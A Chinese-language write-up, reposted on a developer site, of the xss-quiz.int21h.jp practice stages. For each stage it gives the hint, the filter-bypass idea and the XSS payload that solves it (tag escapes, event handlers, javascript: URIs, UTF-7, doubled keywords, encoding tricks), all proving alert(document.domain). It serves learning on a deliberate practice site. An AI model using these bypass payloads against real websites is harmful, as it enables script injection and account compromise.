xss练习笔记(二)

栏目: 编程工具 · 发布时间: 6年前

内容简介:url :

0x00:简介

xss 练习地址:

http://xss-quiz.int21h.jp

What you have to do:
Inject the following JavaScript command: alert(document.domain);

0x01

url : stage-1

Hint : very simple...

无过滤页面回显,可以直接构造执行.

<script>alert(document.domain)</script>

0x02

url : stage-2

Hint : close the current tag and add SCRIPT tag...

逃逸双引号,构造xss语句.

" onclick=alert(document.domain) "
"><script>alert(document.domain)</script>

0x03

url : stage-3

Hint : The input in text box is properly escaped.

p1传入的参数,符号都经过html编码.

抓包修改p2参数,发现无过滤,直接执行.

<script>alert(document.domain)</script>

0x04

url : stage-4

Hint : invisible input field

p1,p2传入的参数的符号都经过编码.

查看页面源代码发现一个隐藏的p3,而且无过滤,即可执行脚本.

" onclick=alert(document.domain) "
"><script>alert(document.domain)</script>

0x05

url : stage-5

Hint : length limited text box

与之前的类似,但是对输入的字符长度做了限制,但只是在前端做了验证.

将前端的限制修改,即可执行脚本.

" onclick=alert(document.domain) "
"><script>alert(document.domain)</script>

0x06

url : stage-6

Hint : event handler attributes

过滤了尖括号,就无法逃逸文本框,但是可以构造dom型xss.

" onclick=alert(document.domain) "

0x07

url : stage-7

Hint : nearly the same... but a bit more tricky.

对特定符号进行了过滤,但是没有对圆括号进行过滤.

value 的值没有用双引号包含,就可以随意输入让其为 value ,然后创造新的事件.

1 onclick=alert(document.domain)

0x08

url : stage-8

Hint : the 'javascript' scheme.

题目创造一个 <a href="{value}"> 标签,且无过滤.

简单用 javascript: 协议创造一个事件.

javascript:alert(document.domain)

0x09

url : stage-9

Hint : UTF-7 XSS

使用了 UTF-7 编码,但只在特定的IE浏览器下才能触发,这里不多做深究.(因为 src 不收这种洞)

1%2bACI- onmouseover=%2bACI-alert(document.domain)%2bADsAIg- x=%2bACI-

0x0A

url : stage-10

Hint : s/domain//g;

对符号无过滤,对 domain 进行过滤,但是只过滤了一遍,所以双写绕过.

" onclick=alert(document.domdomainain) "

0x0B

url : stage-11

Hint : "s/script/xscript/ig;" and "s/on[a-z]+=/onxxx=/ig;" and "s/style=/stxxx=/ig;"

script/on***/st*** 标签进行了过滤.

双写绕过失败,但是想到另一种绕过姿势,通过编码或插入不可见字符进行绕过.

"><a href=javascr	ipt:alert(document.domain)>test</a>

0x0C

url : stage-12

Hint : "s/[\x00-\x20\<\>\"\']//g;"

过滤了 \x00-\x20 的字符,以及 <>"' .

由于此题也是在特定的IE浏览器才能触发,所以不多做介绍.

`onclick=alert(document.domain)

0x0D

url : stage-13

Hint : style attribute

此题同样是特定的IE浏览器才能触发.

background-color:#f00;background:url("javascript:alert(document.domain);");

0x0E

url : stage-14

Hint : s/(url|script|eval|expression)/xxx/ig;

又是IE浏览器,有兴趣可以上网搜索详细解读.

here:expre/**/ssion(window.x?0:(alert(document.domain),window.x=1));

0x0F

url : stage-15

Hint : document.write();

尖括号被过滤,可以通过编码绕过.(unicode或hex编码).

document.write 在输出的时候会 JavascriptDecode 一下数据,会把数据原有 \ 去除,因此需要双写 \ .

\\u003cscript\\u003ealert(document.domain)\\u003c/script\\u003e

0x10

url : stage-16

Hint : "document.write();" and "s/\x/\\x/ig;"

跟上一题类似,但是限制了hex编码,可以使用unicode编码绕过.

\\u003cscript\\u003ealert(document.domain)\\u003c/script\\u003e

0x11

url : stage-17

Hint : multi-byte character

又是IE浏览器,这里直接贴他人writeup.

思路类似于宽字节注入,利用特殊字节吃掉双引号,于是抓包修改p1,p2

p1=1%A7&p2=+onmouseover%3Dalert%28document.domain%29%3B+%A7

0x12

url : stage-18

Hint : us-ascii high bit issue

IE浏览器,如上题.

将每个字符的二进制最高位置为1,然后再转为16进制

"><script>alert(document.domain)</scirpt> 就转换为

%A2%BE%BCscript%BEalert(document.domain);%BC/script%BE

但是前提还是用旧的IE版本IE5,6

0x13

url : stage-19

Hint : Twitter DomXss at Sep 24, 2010

8会,告辞.


以上所述就是小编给大家介绍的《xss练习笔记(二)》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

冒号课堂

冒号课堂

郑晖 / 电子工业出版社 / 2009-10 / 65.00元

《冒号课堂》以课堂对话的形式,借六位师生之口讲述编程要义。上篇对编程范式作了入门性的介绍,并对一些流行的编程语言进行了简评;下篇侧重阐发软件设计思想,其中在范式上以OOP为主,在语言上以C++、Java和C#为主。全书寓庄于谐,深入浅出,既可开阔眼界,又能引发思考,值得编程爱好者品读。一起来看看 《冒号课堂》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码